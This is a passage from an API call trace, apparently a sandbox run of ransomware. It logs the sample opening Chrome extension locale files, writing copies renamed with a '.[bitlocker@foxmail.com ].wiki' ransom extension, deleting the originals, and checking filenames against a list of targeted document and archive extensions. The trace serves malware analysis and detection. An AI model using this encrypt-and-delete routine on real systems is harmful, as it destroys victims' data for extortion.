data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.406] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.406] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.406] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.406] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.407] GetLastError () returned 0x0 [0173.407] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xdd, lpOverlapped=0x0) returned 1 [0173.410] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0173.411] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.411] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.411] SetEndOfFile (hFile=0x19c) returned 1 [0173.411] CloseHandle (hObject=0x19c) returned 1 [0173.411] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.411] SetEndOfFile (hFile=0x320) returned 1 [0173.412] CloseHandle (hObject=0x320) returned 1 [0173.412] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.412] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json")) returned 1 [0173.413] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json") returned 151 [0173.413] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json") returned 151 [0173.413] lstrlenW (lpString=".doc") returned 4 [0173.413] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.413] lstrlenW (lpString=".docx") returned 5 [0173.413] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.413] lstrlenW (lpString=".pdf") returned 4 [0173.413] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.413] lstrlenW (lpString=".xls") returned 4 [0173.413] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.413] lstrlenW (lpString=".xlsx") returned 5 [0173.413] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.413] lstrlenW (lpString=".ppt") returned 4 [0173.413] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.413] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json") returned 151 [0173.413] lstrlenW (lpString=".zip") returned 4 [0173.413] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.413] lstrlenW (lpString=".rar") returned 4 [0173.413] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.413] lstrlenW (lpString=".bz2") returned 4 [0173.413] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.413] lstrlenW (lpString=".7z") returned 3 [0173.413] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.413] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json") returned 151 [0173.413] lstrlenW (lpString=".dbf") returned 4 [0173.413] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.413] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json") returned 151 [0173.413] lstrlenW (lpString=".1cd") returned 4 [0173.413] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.413] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json") returned 151 [0173.414] lstrlenW (lpString=".jpg") returned 4 [0173.414] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.414] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json") returned 151 [0173.414] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json") returned 151 [0173.414] lstrlenW (lpString=".doc") returned 4 [0173.414] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.414] lstrlenW (lpString=".docx") returned 5 [0173.414] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.414] lstrlenW (lpString=".pdf") returned 4 [0173.414] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.414] lstrlenW (lpString=".xls") returned 4 [0173.414] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.414] lstrlenW (lpString=".xlsx") returned 5 [0173.414] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.414] lstrlenW (lpString=".ppt") returned 4 [0173.414] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.414] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json") returned 151 [0173.414] lstrlenW (lpString=".zip") returned 4 [0173.414] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.414] lstrlenW (lpString=".rar") returned 4 [0173.414] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.414] lstrlenW (lpString=".bz2") returned 4 [0173.414] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.414] lstrlenW (lpString=".7z") returned 3 [0173.414] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.414] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json") returned 151 [0173.414] lstrlenW (lpString=".dbf") returned 4 [0173.414] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.415] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json") returned 151 [0173.415] lstrlenW (lpString=".1cd") returned 4 [0173.415] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.415] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json") returned 151 [0173.415] lstrlenW (lpString=".jpg") returned 4 [0173.415] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.415] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.415] lstrlenW (lpString="messages.json") returned 13 [0173.415] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.415] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=218) returned 1 [0173.415] CloseHandle (hObject=0x320) returned 1 [0173.415] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json")) returned 0x2020 [0173.415] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.416] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.416] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.416] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.416] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.416] GetLastError () returned 0x0 [0173.416] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xda, lpOverlapped=0x0) returned 1 [0173.417] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0173.418] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.418] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.418] SetEndOfFile (hFile=0x19c) returned 1 [0173.418] CloseHandle (hObject=0x19c) returned 1 [0173.418] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.418] SetEndOfFile (hFile=0x320) returned 1 [0173.419] CloseHandle (hObject=0x320) returned 1 [0173.419] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.419] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json")) returned 1 [0173.420] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json") returned 151 [0173.420] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json") returned 151 [0173.420] lstrlenW (lpString=".doc") returned 4 [0173.420] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.420] lstrlenW (lpString=".docx") returned 5 [0173.420] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.420] lstrlenW (lpString=".pdf") returned 4 [0173.420] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.420] lstrlenW (lpString=".xls") returned 4 [0173.420] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.420] lstrlenW (lpString=".xlsx") returned 5 [0173.420] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.420] lstrlenW (lpString=".ppt") returned 4 [0173.420] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.420] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json") returned 151 [0173.420] lstrlenW (lpString=".zip") returned 4 [0173.420] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.420] lstrlenW (lpString=".rar") returned 4 [0173.420] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.420] lstrlenW (lpString=".bz2") returned 4 [0173.420] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.420] lstrlenW (lpString=".7z") returned 3 [0173.420] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.420] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json") returned 151 [0173.420] lstrlenW (lpString=".dbf") returned 4 [0173.420] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.420] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json") returned 151 [0173.420] lstrlenW (lpString=".1cd") returned 4 [0173.420] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.421] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json") returned 151 [0173.421] lstrlenW (lpString=".jpg") returned 4 [0173.421] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.421] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json") returned 151 [0173.421] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json") returned 151 [0173.421] lstrlenW (lpString=".doc") returned 4 [0173.421] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.421] lstrlenW (lpString=".docx") returned 5 [0173.421] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.421] lstrlenW (lpString=".pdf") returned 4 [0173.421] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.421] lstrlenW (lpString=".xls") returned 4 [0173.421] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.421] lstrlenW (lpString=".xlsx") returned 5 [0173.421] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.421] lstrlenW (lpString=".ppt") returned 4 [0173.421] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.421] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json") returned 151 [0173.421] lstrlenW (lpString=".zip") returned 4 [0173.421] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.421] lstrlenW (lpString=".rar") returned 4 [0173.421] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.421] lstrlenW (lpString=".bz2") returned 4 [0173.421] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.421] lstrlenW (lpString=".7z") returned 3 [0173.421] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.421] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json") returned 151 [0173.421] lstrlenW (lpString=".dbf") returned 4 [0173.421] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.422] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json") returned 151 [0173.422] lstrlenW (lpString=".1cd") returned 4 [0173.422] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.422] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json") returned 151 [0173.422] lstrlenW (lpString=".jpg") returned 4 [0173.422] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.422] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.422] lstrlenW (lpString="messages.json") returned 13 [0173.422] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.422] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=248) returned 1 [0173.422] CloseHandle (hObject=0x320) returned 1 [0173.422] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json")) returned 0x2020 [0173.423] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.423] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.423] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.423] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.423] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.423] GetLastError () returned 0x0 [0173.423] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xf8, lpOverlapped=0x0) returned 1 [0173.424] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x100, lpOverlapped=0x0) returned 1 [0173.425] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.425] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.425] SetEndOfFile (hFile=0x19c) returned 1 [0173.425] CloseHandle (hObject=0x19c) returned 1 [0173.425] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.426] SetEndOfFile (hFile=0x320) returned 1 [0173.426] CloseHandle (hObject=0x320) returned 1 [0173.426] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.426] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json")) returned 1 [0173.427] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json") returned 151 [0173.427] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json") returned 151 [0173.427] lstrlenW 